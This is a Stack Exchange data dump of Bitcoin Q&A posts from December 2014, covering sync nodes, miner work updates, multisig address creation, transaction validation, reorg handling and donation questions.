  <row Id="32887" PostTypeId="2" ParentId="27055" CreationDate="2014-12-05T13:41:58.553" Score="2" Body="&lt;p&gt;The p2p algorithm only selects one peer node to sync from. &quot;syncnode&quot; is a boolean that lets you know if that ip is the one you're currently downloading blockchain from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/2034&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/issues/2034&lt;/a&gt; has this to say about it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;There is one designated &quot;sync node&quot;, from which the synchronization is supposed to happen.&#xA;getblocks messages are never sent to any but the sync node.&quot;&lt;/p&gt;&#xA;" OwnerUserId="5371" LastActivityDate="2014-12-05T13:41:58.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32888" PostTypeId="1" CreationDate="2014-12-05T19:13:35.173" Score="0" ViewCount="80" Body="&lt;p&gt;It sounds like a headline from The Onion, but is it really true?  I can't find anywhere I can buy the eBook Mastering Bitcoin using bitcoin, only PayPal or Credit Card.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2014-12-05T19:44:59.140" Title="can't buy bitcoin eBook using bitcoin?" Tags="|ecommerce|" AnswerCount="1" CommentCount="0" ClosedDate="2024-02-26T16:07:52.517" ContentLicense="CC BY-SA 3.0" />
  <row Id="32889" PostTypeId="2" ParentId="32888" CreationDate="2014-12-05T19:44:59.140" Score="1" Body="&lt;p&gt;He suspended sales because the original print run ran out. The merchants that accept paypal/credit cards are only accepting preorders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He posts availability info on his website:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.bitcoinbook.info/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitcoinbook.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, he's &lt;a href=&quot;https://github.com/aantonop/bitcoinbook&quot; rel=&quot;nofollow&quot;&gt;published the book online.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-12-05T19:44:59.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32891" PostTypeId="1" CreationDate="2014-12-05T23:28:34.000" Score="2" ViewCount="690" Body="&lt;p&gt;I've got an instance of MPOS and a stratum server running a single PeerCoin pool perfectly fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about adding a second pool to the same server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to duplicate both the stratum server folders and the MPOS folders, then configure for a different coin. However, when when I browse to the other MPOS instance, for example &lt;code&gt;www.mysite.com/MPOSSECONDSITE/public&lt;/code&gt;, it loads a blank page. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="21406" OwnerDisplayName="Warren Bullock III" LastEditorUserId="2306" LastEditDate="2014-12-06T00:07:02.663" LastActivityDate="2021-03-12T12:02:45.230" Title="Multiple coins on one server running MPOS/stratum" Tags="|stratum|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32892" PostTypeId="1" AcceptedAnswerId="32894" CreationDate="2014-12-06T03:18:31.970" Score="4" ViewCount="1546" Body="&lt;p&gt;Assuming an interval where no block is found, do we know how often the typical miner updates his block transaction list with new transactions from the mempool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.9.3/src/miner.cpp#L624&quot; rel=&quot;nofollow&quot;&gt;a reference&lt;/a&gt; which suggests that the default update time is 60 seconds, but I'm not sure what software the pools are using to generate their block transaction lists. &lt;/p&gt;&#xA;" OwnerUserId="21408" LastEditorUserId="5406" LastEditDate="2016-04-09T07:45:31.070" LastActivityDate="2016-04-09T07:45:31.070" Title="How often do miners update their block transaction list?" Tags="|mining-pools|transaction-selection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32894" PostTypeId="2" ParentId="32892" CreationDate="2014-12-06T07:15:05.657" Score="3" Body="&lt;p&gt;Welcome to the site!&lt;/p&gt;&#xA;&lt;p&gt;It depends on the protocol being used.&lt;/p&gt;&#xA;&lt;p&gt;Some protocols have the pool dictate how often the list of transactions is updated, and others have it defined by the mining client.&lt;/p&gt;&#xA;&lt;h3&gt;Stratum&lt;/h3&gt;&#xA;&lt;p&gt;In Stratum, the pool sends the miner a new merkle branch when it sees a new block or when a certain amount of time has passed. By default, it updates the list of transactions every &lt;a href=&quot;https://github.com/slush0/stratum-mining/blob/23ebc8506325ec4b8a60ce3c49cab96ae87c006b/conf/config_sample.py#L73&quot; rel=&quot;nofollow noreferrer&quot;&gt;60 seconds&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Of course, this is only a default; a pool operator can change this.&lt;/p&gt;&#xA;&lt;h3&gt;GBT&lt;/h3&gt;&#xA;&lt;p&gt;In getblocktemplate with longpoll, the pool sends new work on block change, or after 60 seconds. (For bitcoind, at least.)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Wait to respond until either the best block changes, OR a minute has passed and there are more transactions&#xA;...&#xA;checktxtime = boost::get_system_time() + boost::posix_time::minutes(1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/dbf1dc239ed88503299a6e89efaa7f82de8986c2/src/rpcmining.cpp#L442&quot; rel=&quot;nofollow noreferrer&quot;&gt;(Source)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In getblocktemplate without longpoll, the miner looks for new work every so often. 'Every so often' is miner-defined.&lt;/p&gt;&#xA;&lt;p&gt;cgminer does it every 60 seconds:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;static void gen_gbt_work(struct pool *pool, struct work *work)&#xA;...&#xA;if (now.tv_sec - pool-&amp;gt;tv_lastwork.tv_sec &amp;gt; 60)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ckolivas/cgminer/blob/1f85488262af9dd679b159aa07e35d3eca73bcaa/cgminer.c#L2033&quot; rel=&quot;nofollow noreferrer&quot;&gt;(Source)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;bfgminer is user-configurable, but defaults to 60 seconds:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;--scan-time &amp;lt;arg&amp;gt;   Upper bound on time spent scanning current work, in seconds (default: 60)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/luke-jr/bfgminer/blob/cb7bca09d02f62b3f4e039db468b3c51a5ac5960/README#L314&quot; rel=&quot;nofollow noreferrer&quot;&gt;(Source)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Conclusion&lt;/h3&gt;&#xA;&lt;p&gt;Changing work every after the network finds a new block and every 60 seconds is by far the most common way of doing things.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-12-06T07:20:37.313" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32895" PostTypeId="1" CreationDate="2014-12-06T14:39:41.983" Score="1" ViewCount="60" Body="&lt;p&gt;Can you give me ideas for interesting Bitcoin-related events/projects that I could launch at my university in order to attract people to the club?&lt;/p&gt;&#xA;" OwnerUserId="21405" LastEditorUserId="21412" LastEditDate="2014-12-06T23:31:59.807" LastActivityDate="2014-12-07T08:43:55.710" Title="University Bitcoin event ideas" Tags="|adoption|" AnswerCount="1" CommentCount="1" ClosedDate="2015-01-09T23:38:02.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="32898" PostTypeId="1" CreationDate="2014-12-06T16:41:43.130" Score="3" ViewCount="217" Body="&lt;p&gt;How can Bitcoin be used by a charity in the Congo to receive donations from people around the world paying in different currencies?&lt;/p&gt;&#xA;" OwnerUserId="21416" LastEditorUserId="5406" LastEditDate="2014-12-07T09:51:32.387" LastActivityDate="2017-07-22T18:19:01.957" Title="Using BTC to receive currency donations" Tags="|donation|charity|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32899" PostTypeId="2" ParentId="20847" CreationDate="2014-12-06T18:20:40.810" Score="1" Body="&lt;p&gt;I am using Yosemite and have struggled a lot to make Bitcoin-qt accept the bootstrap.dat gotten through my bittorrent client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhow I finally got Bitcoin-qt to import the .dat-file, although this process also seems pretty slow... &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure you are accessing the right folder - there are several Library folders on Macs (I have just recently realized). It's NOT the one for the local user that Bitcoin-qt is using but the one at the top level on your Mac. You can find it using the Finder - use the option-key to make the Library folder visible in the 'Go'-menu (&lt;a href=&quot;http://support.apple.com/kb/PH18928?viewlocale=en_US&quot; rel=&quot;nofollow&quot;&gt;http://support.apple.com/kb/PH18928?viewlocale=en_US&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Have the tool generate the folder it is using itself by running it a short while to be sure you are changing file content in the correct location with naming etc. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unfortunately running the tool causes some data to be in the way of the importing process afterwards - I tried in multiple ways to trigger a replacement of data but ended up with uninstalling the tool and removing all data in Library/Application Support/Bitcoin. Be sure to keep the wallet.dat if you are not like me aiming of using Armory that only uses Bitcoin-qt for the coin base part. Move/copy your bootstrapper.dat file to this location.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install Bitcoin-qt again and run it. You will then finally see it start importing your file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope you don't have to spend as much time solving this as I did.&lt;/p&gt;&#xA;" OwnerUserId="21414" LastActivityDate="2014-12-06T18:20:40.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32900" PostTypeId="1" AcceptedAnswerId="32901" CreationDate="2014-12-06T19:55:04.243" Score="1" ViewCount="985" Body="&lt;p&gt;I'm just writing a small essay about the basics of BTC and I ran into a small problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know, that there are digital signatures in our bitcoins' earlier transactions (our transaction inputs) and in the next owner's public key. How can the system verify, if the input is really from our earlier output? We can just use a random (unspent) output from an earlier block, can't we? I know that we are the next owner and our public key is in the transaction, but we can (and should) generate a a new public-private key for our next transaction, so the new private key won't match our &quot;old&quot; public key... What is that thing I don't know or understand?&lt;/p&gt;&#xA;" OwnerUserId="21418" LastActivityDate="2021-01-13T01:34:27.093" Title="Input validation in transactions" Tags="|transactions|transaction-verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32901" PostTypeId="2" ParentId="32900" CreationDate="2014-12-06T20:12:38.513" Score="2" Body="&lt;p&gt;Starting from basics, each input spends a previous output:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20180529095549/https://bitcoin.org/img/dev/en-tx-overview.svg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20180529095549/https://bitcoin.org/img/dev/en-tx-overview.svg&quot; alt=&quot;Input spending output&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To spend the output, the input has to include a reference to it (called an outpoint).  This includes the TXID that included the output as well as the sequence number of that output in the transaction (called a vout for output vector).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20180605020459/https://bitcoin.org/img/dev/en-tx-overview-spending.svg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20180605020459/https://bitcoin.org/img/dev/en-tx-overview-spending.svg&quot; alt=&quot;Spending an output&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In order for Alice to pay Bob in a pay-to-public-key-hash (P2PKH) output, Bob needs to create a private key (which he keeps secret), derive a public key, hash that public key (encoding it as a Bitcoin address), and then give that hash to Alice.  Alice uses that hash in a P2PKH output in TX1.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20180529095549/https://bitcoin.org/img/dev/en-creating-p2pkh-output.svg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20180529095549/https://bitcoin.org/img/dev/en-creating-p2pkh-output.svg&quot; alt=&quot;Creating a P2PKH output&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When Bob wants to later spend that output from TX1 (using it as an input), his computer gets the hash (address) from the TX1 output, finds the corresponding public key, inserts that public key into the signature script, then finds the corresponding private key in its secure database, and uses that key to create an ECDSA signature which it also adds to the signature script.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20180531050530/https://bitcoin.org/img/dev/en-unlocking-p2pkh-output.svg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20180531050530/https://bitcoin.org/img/dev/en-unlocking-p2pkh-output.svg&quot; alt=&quot;Creating a signature script&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So only one keypair is used per output, although the same keypair may be used in multiple outputs.  (This is called key reuse, and it's discouraged to improve privacy and, possibly, security.)&lt;/p&gt;&#xA;&lt;p&gt;(The images above are from the &lt;a href=&quot;https://bitcoin.org/en/developer-guide#transactions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin.org Developer Guide transactions section&lt;/a&gt;, which is under the MIT license.)&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="42185" LastEditDate="2021-01-13T01:34:27.093" LastActivityDate="2021-01-13T01:34:27.093" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32902" PostTypeId="1" AcceptedAnswerId="32903" CreationDate="2014-12-06T20:25:36.893" Score="1" ViewCount="173" Body="&lt;p&gt;I'm implementing multisig addresses which is a great solution to a problem, but as far as I can see there's no way to create the multisig address without knowing all the private keys at the start. Isn't that a single point of failure? Whatever system creates the multisig address knows all the private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was expecting to be able to create a partial multisig address (me) pass the hex result to someone else to add their private key and then off to the escrow to add their private key... kinda like signing of multisig transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see in Gavin's example he has all 3 keys at the begining: &lt;a href=&quot;https://gist.github.com/gavinandresen/3966071&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/gavinandresen/3966071&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="21419" LastActivityDate="2014-12-06T20:34:24.687" Title="createmultisig single point of failure" Tags="|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32903" PostTypeId="2" ParentId="32902" CreationDate="2014-12-06T20:34:24.687" Score="5" Body="&lt;p&gt;You're correct that Gavin has all three private keys available to him at the start, but you're missing that he only uses the &lt;em&gt;public&lt;/em&gt; keys to create the P2SH multisig address.  Specifically, this line from the example is listing only public keys,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoind createmultisig 2 '[&quot;0491bba2510912a5bd37da1fb5b1673010e43d2c6d812c514e91bfa9f2eb129e1c183329db55bd868e209aac2fbc02cb33d98fe74bf23f0c235d6126b1d8334f86&quot;,&quot;04865c40293a680cb9c020e7b1e106d8c1916d3cef99aa431a56d253e69256dac09ef122b1a986818a7cb624532f062c1d1f8722084861c5c3291ccffef4ec6874&quot;,&quot;048d2455d2403e08708fc1f556002f1b6cd83f992d085097f9974ab08a28838f07896fbab08f39495e15fa6fad6edbfb1e754e35fa1c7844c41f322a1863d46213&quot;]'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;createmultisig&lt;/code&gt; RPC will let you mix addresses (corresponding to private keys you have in local storage) and public keys (for cases where you don't have the private keys---like when creating a multisig address with your friends).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a step-by-step create-and-spend multisig example on the &lt;a href=&quot;https://bitcoin.org/en/developer-examples#p2sh-multisig&quot;&gt;Bitcoin.org Developer Examples page&lt;/a&gt;  (you probably want to start by reading the immediately previous examples, as they build up to P2SH multisig).&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-12-06T20:34:24.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32905" PostTypeId="2" ParentId="32895" CreationDate="2014-12-07T08:43:55.710" Score="1" Body="&lt;p&gt;You could:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Wear a Bitcoin shirt (people will ask ;))&lt;/li&gt;&#xA;&lt;li&gt;Have a Bitcoin themed party in a student bar&lt;/li&gt;&#xA;&lt;li&gt;Offer a Bitcoin meetup&lt;/li&gt;&#xA;&lt;li&gt;Walk around on Campus with a sign &quot;Ask me anything about Bitcoin&quot;&lt;/li&gt;&#xA;&lt;li&gt;Start a Bitcoin student club&lt;/li&gt;&#xA;&lt;li&gt;Convince a Campus shop to accept Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Convince a food delivery service close to campus to accept Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Offer a competition where you offer a price in Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Organize a Presentation/Lecture/Panel about Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Write an article for your student newspaper/newsletter&lt;/li&gt;&#xA;&lt;li&gt;Organize a viewing of one of the Bitcoin documentaries on campus&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-12-07T08:43:55.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32906" PostTypeId="2" ParentId="32898" CreationDate="2014-12-07T09:50:39.383" Score="0" Body="&lt;p&gt;You can only send bitcoins on the Bitcoin network, so in fact you cannot receive payments in other currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd need someone to receive the payments, exchange them for bitcoins, and then send bitcoins instead. However, this will only be useful to you, if the charity can make use of Bitcoin to pay for their operation cost or can get local currency in the Congo in exchange for Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is currently payment processors that accept Bitcoin payments and forward fiat currency to you, yet as far as I am aware, there aren't any payment processors that accept fiat payments and forward Bitcoin to you.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-12-07T09:50:39.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32907" PostTypeId="2" ParentId="32898" CreationDate="2014-12-07T10:11:54.433" Score="0" Body="&lt;p&gt;The bitcoin network can only send bitcoins.&#xA;You would need to set up a wallet and have the wallet address posted on your website/poster etc. A person would send their bitcoins, earnt or transferred via an exchange to your wallet. You could then transfer them back to local currency or buy things in bitcoin with them.&lt;/p&gt;&#xA;" OwnerUserId="21126" LastActivityDate="2014-12-07T10:11:54.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32909" PostTypeId="1" CreationDate="2014-12-07T11:09:17.313" Score="3" ViewCount="6249" Body="&lt;p&gt;I am using the BitcoinJ API to create my wallet.&#xA;When I create a transaction, I provide the change address to which change should be sent.&#xA;For example: let there be 1 bitcoin at address A;&#xA;then I create a transaction to send 0.1 bitcoins to address B and the change (0.9 bitcoins) back to address A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the BitcoinJ wallet, I see that the change (0.9 bitcoins) is not received back. To try to fix that, I created a custom coin selector to explicitly select unconfirmed transactions which are generated by myself---but still I do not see the change (0.9 bitcoins) in my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the transaction view &lt;a href=&quot;https://www.biteasy.com/testnet/transactions/db66d5058e5773f353447ffa2174a417867e9aa134113f01359576f5e6f2b4c6&quot; rel=&quot;nofollow&quot;&gt;https://www.biteasy.com/testnet/transactions/db66d5058e5773f353447ffa2174a417867e9aa134113f01359576f5e6f2b4c6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is my wallet &lt;a href=&quot;https://www.biteasy.com/testnet/addresses/mnj3589DHMoCyhxDSvWKubjkUoTenmrGkE&quot; rel=&quot;nofollow&quot;&gt;https://www.biteasy.com/testnet/addresses/mnj3589DHMoCyhxDSvWKubjkUoTenmrGkE&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to my address on Biteasy, there is a balance of 4BTC,&#xA;but my BitcoinJ wallet shows only 0.069BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question is: Why can't I send return change to same address it is being sent from?&lt;/p&gt;&#xA;" OwnerUserId="21426" LastEditorUserId="21052" LastEditDate="2014-12-07T12:19:22.927" LastActivityDate="2021-07-03T01:14:39.823" Title="Sending bitcoins to same address" Tags="|client|address|development|bitcoinj|change|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32910" PostTypeId="2" ParentId="32898" CreationDate="2014-12-07T11:27:24.530" Score="-1" Body="&lt;p&gt;You can use Ripple coin that support a lot of currencies with bitcoin. &lt;a href=&quot;https://ripple.com/&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21426" LastActivityDate="2014-12-07T11:27:24.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32912" PostTypeId="2" ParentId="24300" CreationDate="2014-12-07T14:49:56.567" Score="4" Body="&lt;p&gt;Define a JAVA_HOME environment variable with the path to your jre/jdk installation in it. That worked for me.&lt;/p&gt;&#xA;" OwnerUserId="21429" LastActivityDate="2014-12-07T14:49:56.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32913" PostTypeId="2" ParentId="32898" CreationDate="2014-12-07T16:00:37.267" Score="1" Body="&lt;p&gt;You customers can exhange any currency to Bitcoin and pay via Bitcoin with no fees.&#xA;So, you need to support traditional payment methods and Bitcoin as well, as a new way of payment over Internet. It's the future of payment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some day, you will kick-off VISA and Paypal from your website ;)&lt;/p&gt;&#xA;" OwnerUserId="8743" LastEditorUserId="2306" LastEditDate="2014-12-07T18:51:05.163" LastActivityDate="2014-12-07T18:51:05.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32914" PostTypeId="1" AcceptedAnswerId="32918" CreationDate="2014-12-07T16:46:14.180" Score="3" ViewCount="967" Body="&lt;p&gt;When my service detects a &lt;code&gt;conflicted&lt;/code&gt; transaction (either &lt;code&gt;sent&lt;/code&gt; or &lt;code&gt;received&lt;/code&gt;) it rollbacks everything that was logically built upon this transaction. The &quot;problem&quot; is that transactions can go from category &lt;code&gt;conflicted&lt;/code&gt; to &lt;code&gt;sent/received&lt;/code&gt; if a &lt;a href=&quot;https://en.bitcoin.it/wiki/Chain_Reorganization&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockchain reorganization&lt;/a&gt; happens, so my question is how long (how many blocks) should my service wait in order to be positive that a &lt;code&gt;conflicted&lt;/code&gt; transaction will never  get included into a block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found this question to be helpful: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3343/what-is-the-longest-blockchain-fork-that-has-been-orphaned-to-date/&quot;&gt;What is the longest blockchain fork that has been orphaned to date?&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="5406" LastEditDate="2023-10-20T17:19:43.463" LastActivityDate="2023-10-20T17:19:43.463" Title="Conflicted transactions in blockchain reorganizations" Tags="|doublespend|chain-reorganization|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32918" PostTypeId="2" ParentId="32914" CreationDate="2014-12-07T19:08:54.693" Score="2" Body="&lt;p&gt;I know you're looking for some magic constant, but it doesn't exist.  Your code needs to deal with reorgs of any depth back to the genesis block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may seem like a annoyance of dealing with the block chain, but it's how payments have always worked.  Even if some guy pays you with a suitcase full of verified gold bars, a court order can compel you to return those bars at any later point.  (For example, it's fairly common for the court to order stolen property returned to its previous owner without any compensation to its current owner even if the current owner didn't know it was stolen when he bought it.  This notably happens occasionally with art stolen 70 years ago during WWII.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to take a shortcut and leave dealing with long reorgs up to some future programmer or database admin, then any arbitrary constant will do.  This is why many high-value sites require six confirmations---not because six is the correct value, but because approximately one hour of confirmations is a nice arbitrary value.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-12-07T19:08:54.693" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32919" PostTypeId="1" CreationDate="2014-12-07T20:31:04.733" Score="0" ViewCount="261" Body="&lt;p&gt;Let's assume, that  the day already came, when emission of bitcoins completed, and we have the 21 millions of bitcoins. Let's say it happen that all these Bitcoins at one moment became the property of one person (for example because of the vulnerability of the system), which says that will not make any transaction and produces all kinds of steps to achieve this target(the deletion of the account or something else). So here is the question - what will be happen if 21 million of bitcoins become the property of one?&lt;/p&gt;&#xA;" OwnerUserId="21435" LastEditorUserId="2306" LastEditDate="2014-12-08T18:40:18.343" LastActivityDate="2014-12-08T18:40:18.343" Title="What will be happen if 21 million of bitcoins become the property of one?" Tags="|economic-theory|weaknesses|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32920" PostTypeId="2" ParentId="32919" CreationDate="2014-12-07T20:41:56.317" Score="4" Body="&lt;p&gt;It's entirely up to the people living at this hypothetical future point.  There's no current rule about what happens.  Maybe when this happens, people are tired of Bitcoin, so they go back to trading seashells.  Or maybe when this happens, there's something better than Bitcoin available, so they all switch to that.  Or maybe they just restart Bitcoin and start mining again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that Bitcoin is a consensus system. Each user can change the software to do whatever he wants it to do.  If enough people all run the same software, and that software is designed to converge on a consensus block chain, all of those people will have the same block chain---even if it isn't the same block chain we use today.  Whatever rules we use today can be changed by people in the future (including our future selves), so there's no risk of ever permanently locking ourselves out of the block chain.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-12-07T20:41:56.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32921" PostTypeId="1" CreationDate="2014-12-07T21:12:41.267" Score="2" ViewCount="123" Body="&lt;p&gt;Everybody knows that bitcoin blenders anonymize your coins but shouldn't you follow some precautions for your mixing to be effective? I suppose that mixer is fair (it won't steal your money and does not trace anything) but if it simply takes n amounts from various users, and sends them to n destination addresses then operation is meaningless. What should proper mixer fulfill for obfuscation and how it must be used properly? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.bestvpn.com/blog/7811/buying-bitcoins-pay-vpn-anonymously-step-step-guide-part-4-bitcoin-mixers-optional/&quot; rel=&quot;nofollow&quot;&gt;This guideline&lt;/a&gt; says that I have to submit my coins to mixer in parts&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if you want avoid potential metadata analysis correlation then you should break up your transactions into smaller, randomly determined amounts.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is it the only thing that I must care about? What is the point of that? If investigators can trace individual amount then how can splitting your amount into subamounts obfuscate anything? Does it mean that you should prevent re-uniting of the amounts?&lt;/p&gt;&#xA;" OwnerUserId="7292" LastActivityDate="2016-03-11T22:16:07.317" Title="Proper use of mixing service" Tags="|privacy|mixing|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32922" PostTypeId="2" ParentId="32919" CreationDate="2014-12-07T21:48:55.337" Score="2" Body="&lt;p&gt;They would have no value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such this cannot happen. If less people have less bitcoins the value of btc goes down as the utility goes down, as such holders would likely dump the btc which makes them cheaper and would likely distribute them among others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's more likely though that btc loses value because a better from of decentralized money will replace it.&lt;/p&gt;&#xA;" OwnerUserId="21436" LastActivityDate="2014-12-07T21:48:55.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32923" PostTypeId="1" AcceptedAnswerId="32924" CreationDate="2014-12-08T06:50:26.530" Score="6" ViewCount="3955" Body="&lt;p&gt;According to the &lt;a href=&quot;https://blockchain.info/charts/cost-per-transaction&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info: Cost per Transaction&lt;/a&gt;, the latest &quot;Cost per Transaction&quot; value is 16 USD. Apparently, it's not the transaction fee, what does it mean then?&lt;/p&gt;&#xA;" OwnerUserId="20967" LastEditorUserId="14887" LastEditDate="2015-08-29T06:22:53.803" LastActivityDate="2015-08-29T06:22:53.803" Title="What does the &quot;Cost per Transaction&quot; chart on BlockChain.info show?" Tags="|transactions|transaction-fees|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
